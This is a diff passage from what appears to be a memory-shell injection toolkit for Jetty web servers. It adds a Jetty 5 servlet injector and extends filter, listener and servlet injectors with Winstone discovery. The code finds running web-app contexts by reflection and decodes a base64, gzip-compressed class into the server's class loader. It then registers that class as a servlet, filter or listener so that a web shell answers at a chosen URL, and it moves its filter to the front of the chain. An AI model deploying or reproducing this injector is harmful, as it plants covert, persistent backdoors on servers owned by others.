Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||||
|
String name = contextClassLoader.getClass().getName();
|
||||||
|
if (name.endsWith("ContextLoader")) {
|
||||||
|
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||||
|
} catch (Exception e) {
|
||||||
|
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||||
|
if (webApplicationHandler != null) {
|
||||||
|
return webApplicationHandler;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||||
|
if (webApplicationHandler != null) {
|
||||||
|
return webApplicationHandler;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return getFieldValue(context, "_servletHandler");
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean hasListener(Object context) throws Exception {
|
||||||
|
if (containsListener(getFieldValueQuietly(context, "_contextListeners"))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||||
|
return hasWebApplicationHandlerListener(webApplicationHandler);
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean hasWebApplicationHandlerListener(Object webApplicationHandler) {
|
||||||
|
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestListeners"))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners"))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_sessionListeners"))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return containsListener(getFieldValueQuietly(webApplicationHandler, "_contextAttributeListeners"));
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getFieldValueQuietly(Object obj, String name) {
|
||||||
|
try {
|
||||||
|
return getFieldValue(obj, name);
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean containsListener(Object listeners) {
|
||||||
|
if (listeners == null) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (listeners instanceof List) {
|
||||||
|
List list = (List) listeners;
|
||||||
|
for (int i = 0; i < list.size(); i++) {
|
||||||
|
if (isInjectedListener(list.get(i))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (listeners.getClass().isArray()) {
|
||||||
|
int length = Array.getLength(listeners);
|
||||||
|
for (int i = 0; i < length; i++) {
|
||||||
|
if (isInjectedListener(Array.get(listeners, i))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return isInjectedListener(listeners);
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean isInjectedListener(Object listener) {
|
||||||
|
return listener != null && listener.getClass().getName().contains(getClassName());
|
||||||
|
}
|
||||||
|
|
||||||
|
private void ensureJsr154Filter(Object webApplicationHandler) {
|
||||||
|
try {
|
||||||
|
Object filterHolder = invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{"jsr154"});
|
||||||
|
if (filterHolder == null) {
|
||||||
|
filterHolder = invokeMethod(webApplicationHandler,
|
||||||
|
"defineFilter",
|
||||||
|
new Class[]{String.class, String.class},
|
||||||
|
new Object[]{"jsr154", "org.mortbay.jetty.servlet.JSR154Filter"});
|
||||||
|
}
|
||||||
|
if (invokeMethod(filterHolder, "getFilter") == null) {
|
||||||
|
invokeMethod(filterHolder, "start");
|
||||||
|
}
|
||||||
|
Object jsr154Filter = invokeMethod(filterHolder, "getFilter");
|
||||||
|
setFieldValue(webApplicationHandler, "jsr154FilterHolder", filterHolder);
|
||||||
|
setFieldValue(webApplicationHandler, "jsr154Filter", jsr154Filter);
|
||||||
|
try {
|
||||||
|
invokeMethod(jsr154Filter, "setUnwrappedDispatchSupported", new Class[]{boolean.class}, new Object[]{Boolean.TRUE});
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
if (!hasPathFilterMapping(webApplicationHandler, "jsr154")) {
|
||||||
|
invokeMethod(webApplicationHandler,
|
||||||
|
"addFilterPathMapping",
|
||||||
|
new Class[]{String.class, String.class, int.class},
|
||||||
|
new Object[]{"/*", "jsr154", Integer.valueOf(1)});
|
||||||
|
}
|
||||||
|
movePathFilterToFront(webApplicationHandler, "jsr154");
|
||||||
|
clearChainCache(webApplicationHandler);
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void syncJsr154Filter(Object webApplicationHandler) {
|
||||||
|
try {
|
||||||
|
Object jsr154Filter = getFieldValueQuietly(webApplicationHandler, "jsr154Filter");
|
||||||
|
if (jsr154Filter == null) {
|
||||||
|
Object jsr154FilterHolder = getFieldValueQuietly(webApplicationHandler, "jsr154FilterHolder");
|
||||||
|
if (jsr154FilterHolder != null) {
|
||||||
|
jsr154Filter = invokeMethod(jsr154FilterHolder, "getFilter");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (jsr154Filter == null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
invokeMethod(jsr154Filter, "setRequestListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestListeners")});
|
||||||
|
invokeMethod(jsr154Filter, "setRequestAttributeListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners")});
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean hasPathFilterMapping(Object webApplicationHandler, String filterName) {
|
||||||
|
try {
|
||||||
|
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||||
|
if (pathFilters == null) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
for (int i = 0; i < pathFilters.size(); i++) {
|
||||||
|
Object filterMapping = pathFilters.get(i);
|
||||||
|
Object filterHolder = invokeMethod(filterMapping, "getHolder");
|
||||||
|
String name = (String) invokeMethod(filterHolder, "getName");
|
||||||
|
if (filterName.equals(name)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void movePathFilterToFront(Object webApplicationHandler, String filterName) {
|
||||||
|
try {
|
||||||
|
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||||
|
if (pathFilters == null || pathFilters.size() < 2) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
for (int i = 0; i < pathFilters.size(); i++) {
|
||||||
|
Object filterMapping = pathFilters.get(i);
|
||||||
|
Object filterHolder = invokeMethod(filterMapping, "getHolder");
|
||||||
|
String name = (String) invokeMethod(filterHolder, "getName");
|
||||||
|
if (filterName.equals(name)) {
|
||||||
|
pathFilters.remove(i);
|
||||||
|
pathFilters.add(0, filterMapping);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void clearChainCache(Object webApplicationHandler) {
|
||||||
|
clearCacheField(webApplicationHandler, "_chainCache");
|
||||||
|
clearCacheField(webApplicationHandler, "_namedChainCache");
|
||||||
|
}
|
||||||
|
|
||||||
|
private void clearCacheField(Object object, String name) {
|
||||||
|
try {
|
||||||
|
Object cache = getFieldValue(object, name);
|
||||||
|
if (cache instanceof Map[]) {
|
||||||
|
Map[] maps = (Map[]) cache;
|
||||||
|
for (int i = 0; i < maps.length; i++) {
|
||||||
|
if (maps[i] != null) {
|
||||||
|
maps[i].clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
return;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
throw e;
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+254
@@ -0,0 +1,254 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.jetty;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Jetty5ServletInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Jetty5ServletInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public void inject(Object context, Object servlet) throws Exception {
|
||||||
|
Object servletHandler = getWebApplicationHandler(context);
|
||||||
|
|
||||||
|
if (invokeMethod(servletHandler, "getServletHolder", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
invokeMethod(
|
||||||
|
servletHandler,
|
||||||
|
"addServlet",
|
||||||
|
new Class[]{String.class, String.class, String.class},
|
||||||
|
new Object[]{getClassName(), getUrlPattern(), getClassName()});
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||||
|
String name = contextClassLoader.getClass().getName();
|
||||||
|
if (name.endsWith("ContextLoader")) {
|
||||||
|
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||||
|
} catch (Exception e) {
|
||||||
|
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||||
|
if (webApplicationHandler != null) {
|
||||||
|
return webApplicationHandler;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||||
|
if (webApplicationHandler != null) {
|
||||||
|
return webApplicationHandler;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return getFieldValue(context, "_servletHandler");
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
throw e;
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+23
@@ -6,6 +6,7 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -130,7 +131,16 @@ public class JettyFilterInjector {
|
|||||||
}
|
}
|
||||||
newMappings[0] = filterMapping;
|
newMappings[0] = filterMapping;
|
||||||
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
|
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
|
||||||
|
try {
|
||||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
Map[] _chainCache = (Map[]) getFieldValue(servletHandler, "_chainCache");
|
||||||
|
if (_chainCache != null) {
|
||||||
|
for (Map cache : _chainCache) {
|
||||||
|
if (cache != null) cache.clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -171,6 +181,19 @@ public class JettyFilterInjector {
|
|||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
|
||||||
|
try {
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
|
||||||
|
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
|
||||||
|
for (Object o : hostConfigs.values()) {
|
||||||
|
Map apps = (Map) getFieldValue(o, "webapps");
|
||||||
|
contexts.addAll(apps.values());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -110,7 +110,8 @@ public class JettyHandlerInjector {
|
|||||||
if (entry != null) {
|
if (entry != null) {
|
||||||
Object threadLocalValue = getFieldValue(entry, "value");
|
Object threadLocalValue = getFieldValue(entry, "value");
|
||||||
if (threadLocalValue != null) {
|
if (threadLocalValue != null) {
|
||||||
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
|
if (threadLocalValue.getClass().getName().contains("HttpConnection")
|
||||||
|
|| threadLocalValue.getClass().getName().contains("SelectChannelConnector")) {
|
||||||
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
|
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+14
-4
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.EventListener;
|
import java.util.*;
|
||||||
import java.util.HashSet;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -101,6 +98,19 @@ public class JettyListenerInjector {
|
|||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
|
||||||
|
try {
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
|
||||||
|
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
|
||||||
|
for (Object o : hostConfigs.values()) {
|
||||||
|
Map apps = (Map) getFieldValue(o, "webapps");
|
||||||
|
contexts.addAll(apps.values());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|||||||
+15
@@ -6,6 +6,7 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -109,6 +110,20 @@ public class JettyServletInjector {
|
|||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
|
||||||
|
try {
|
||||||
|
Object target = getFieldValue(thread, "target");
|
||||||
|
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
|
||||||
|
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
|
||||||
|
for (Object o : hostConfigs.values()) {
|
